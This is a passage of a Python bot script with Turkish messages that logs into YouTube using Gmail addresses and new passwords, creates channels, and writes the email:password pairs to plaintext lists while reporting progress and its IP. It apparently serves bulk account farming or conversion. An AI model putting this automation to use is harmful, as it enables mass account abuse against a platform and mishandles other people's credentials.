1189 gmail = g[0]
1190 newPass = g[1]
1191 else:
1192 print("-----RAPOR EDILMELI!!!!")
1193 addToOzel(info)
1194 endSession()
1195 continue
1196
1197 time.sleep(5)
1198 pyautogui.hotkey('alt', 'f4')
1199 try:
1200 driver = setYoutubeDriver()
1201 loginYoutube(str(gmail), newPass)
1202 text = getBody()
1203 if not "The email and password" in text:
1204 createYoutube(str(gmail), newPass)
1205 info = str(gmail) + ":" + newPass
1206 addToGmail(info)
1207 sucC += 1
1208 endSession()
1209 continue
1210 except:
1211 try:
1212 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1213 except:
1214 pass
1215 try:
1216 driver.close()
1217 except:
1218 pass
1219 try:
1220 info = str(gmail) + ":" + newPass
1221 addToGmail(info)
1222 except:
1223 pass
1224 sucC += 1
1225 endSession()
1226
1227'''
1228push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1229except Exception as e:
1230 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1231'''
1232